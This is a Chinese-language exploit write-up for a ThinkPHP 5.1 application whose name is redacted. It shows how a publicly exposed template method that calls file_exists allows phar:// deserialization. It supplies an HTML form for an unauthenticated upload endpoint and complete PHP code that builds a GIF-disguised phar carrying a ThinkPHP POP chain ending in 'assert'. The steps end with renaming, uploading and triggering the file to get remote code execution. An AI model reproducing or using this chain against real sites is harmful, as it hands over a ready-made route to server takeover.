漏洞文件:application/common/controller/Base.php 中的 getAddonTemplate 方法:

錯誤的使用了public,導致我們可以直接外部訪問。
然后使用了file_exists( 函數,導致可以觸發phar://反序列化。
common目錄下的文件不能直接訪問,只能通過繼承。
尋找繼承該類,並且不需要權限的文件。
注:只要繼承了webbase類的都需要權限。
尋找到該文件:application/xxxx/controller/Api.php 不需要權限。
再次需要能上傳文件的地方:
application/xxxx/controller/Api.php 類中的 upload方法:
exp:
<html> <body> <form action="http://xxxx.io/public/index.php/xxxx/Api/upload" method="post" enctype="multipart/form-data"> <label for="file">Filename:</label> <input type="file" name="file"/> <input type="submit" name="submit" value="Submit" /> </form> </body> </html>
注:這里的name值必須為"file",否則沒有返回路徑。
因為使用的ThinkPHP 5.1所以只能存在POP鏈。
漏洞利用:
先使用exp生成文件:
<?php
namespace think\process\pipes;
class Windows
{
private $files = [];
public function __construct()
{
$this->files = [new \think\model\Pivot];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
namespace think;
abstract class Model
{
protected $append = [];
private $relation = [];
protected $visible = [];
public function __construct()
{
$this->append = [
'aa' => ['a']
];
$this->relation = [
'aa' => new Request,
];
$this->visible = ['1'];
}
}
class Request
{
protected $hook = [];
protected $filter;
public function __construct()
{
$this->filter = 'assert';
$this->hook = [
'append' => [$this,'isAjax']
];
}
}
$obj = new \think\process\pipes\Windows;
$phar = new \Phar("test.phar"); //后綴名必須為phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //設置stub 增加gif文件頭
$phar->setMetadata($obj); //將自定義的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要壓縮的文件
$phar->stopBuffering(); //簽名自動計算
將test.phar 改名為:test.jpg 然后利用上面的上傳代碼上傳。獲取到返回路徑。
在直接訪問:
替換templateFile為你上傳的路徑,造成代碼執行。
